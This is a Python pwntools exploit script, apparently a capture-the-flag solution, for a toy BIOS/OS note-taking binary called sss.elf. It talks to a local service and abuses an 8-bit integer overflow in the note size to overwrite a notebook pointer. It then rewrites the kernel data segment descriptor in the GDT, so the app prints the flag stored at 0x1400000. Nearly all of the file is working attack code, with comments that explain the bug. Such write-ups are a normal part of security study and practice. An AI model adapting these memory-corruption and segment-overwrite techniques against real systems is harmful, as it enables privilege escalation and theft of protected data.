121 lines
3.1 KiB
Python
Executable file
121 lines
3.1 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
# This exploit template was generated via:
|
|
# $ pwn template ./sss.elf
|
|
from pwn import *
|
|
|
|
# Challange description:
|
|
#
|
|
# BIOS + OS + APP to take a note and.... segmented!
|
|
# Can you get the flag at 0x1400000 ???
|
|
# Set up pwntools for the correct architecture
|
|
#
|
|
exe = context.binary = ELF(args.EXE or './sss.elf')
|
|
context.log_level = 'debug'
|
|
|
|
# Many built-in settings can be controlled on the command-line and show up
|
|
# in "args". For example, to dump all data sent/received, and disable ASLR
|
|
# for all created processes...
|
|
# ./exploit.py DEBUG NOASLR
|
|
|
|
|
|
def start(argv=[], *a, **kw):
|
|
'''Start the exploit against the target.'''
|
|
if args.GDB:
|
|
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
|
|
else:
|
|
return process([exe.path] + argv, *a, **kw)
|
|
|
|
# Specify your GDB script here for debugging
|
|
# GDB will be launched if the exploit is run via e.g.
|
|
# ./exploit.py GDB
|
|
gdbscript = '''
|
|
tbreak *0x{exe.entry:x}
|
|
continue
|
|
'''.format(**locals())
|
|
|
|
#===========================================================
|
|
# EXPLOIT GOES HERE
|
|
#===========================================================
|
|
# Arch: i386-32-little
|
|
# RELRO: No RELRO
|
|
# Stack: No canary found
|
|
# NX: NX enabled
|
|
# PIE: No PIE (0x1000)
|
|
# RWX: Has RWX segments
|
|
# Stripped: No
|
|
# Debuginfo: Yes
|
|
|
|
def create_seg_descriptor(base, limi):
|
|
seg = p16((limi >> 12) & 0xffff) #limit low
|
|
seg += p16(base & 0xffff) #base low
|
|
seg += p8((base >> 16) & 0xff) #base mid
|
|
stype = 2
|
|
s = 1
|
|
dpl = 0
|
|
p = 1
|
|
seg += p8(stype | (s << 4) | (dpl << 5) | (p << 7)) #flags
|
|
g = 1
|
|
db = 1
|
|
seg += p8(limi >> 16 & 0xf | g << 7 | db << 6) #flags
|
|
seg += p8(base >> 24) #base high
|
|
return seg
|
|
gdt = 0x1000000
|
|
kds_base = 0x1000000
|
|
utok_add = 0x100000
|
|
bytes_read = 127
|
|
ucs_off = 0x10
|
|
buf_read = 0x4f2c
|
|
flag_pos = 0x1400000
|
|
|
|
retaddr = 0x4e90
|
|
ds_base = 0x4ef4 + 0x1100000 - retaddr
|
|
#io = start()
|
|
#io = process('./run.sh')
|
|
io = remote('localhost', 1337)
|
|
|
|
io.recvuntil('>')
|
|
io.sendline('1')
|
|
io.recvuntil('note?')
|
|
io.sendline('D'*98)
|
|
|
|
io.recvuntil('>')
|
|
io.sendline('1')
|
|
io.recvuntil('note?')
|
|
io.sendline('B'*98)
|
|
|
|
# integer overflow on
|
|
# u8 new_size;
|
|
# ...
|
|
# ...
|
|
#
|
|
# bytes_read = userspace_read(buf, sizeof(buf));
|
|
# new_size = notebook.used + bytes_read;
|
|
# new_size
|
|
#
|
|
# will overwrite my_notebook.ptr
|
|
|
|
io.recvuntil('>')
|
|
io.sendline('1')
|
|
io.recvuntil('note?')
|
|
|
|
# overwrite my_notebook.ptr so that, accessed in kernel (so with ds = 0x10) and
|
|
# offset to translate from kernel to user macro (APP_ADDR_TO_KERNEL_ADDR),
|
|
# points to the gdt kernel data segment. Overwite the gdt so that kernel data
|
|
# segment so that when printing my_notebook.data the address will point to
|
|
# 0x1400000 (flag position, printing the flag)
|
|
|
|
val = gdt - kds_base - utok_add - bytes_read + ucs_off
|
|
if (val < 0):
|
|
val = val + 2**32
|
|
io.send('CCCC')
|
|
io.send(p32(val))
|
|
io.sendline(cyclic(119))
|
|
io.recvuntil('>')
|
|
io.sendline('3')
|
|
io.recvuntil('remarks')
|
|
kds = create_seg_descriptor(flag_pos - 0x100000 - buf_read, 0xffffffff)
|
|
io.sendline(kds)
|
|
|
|
io.interactive()
|
|
|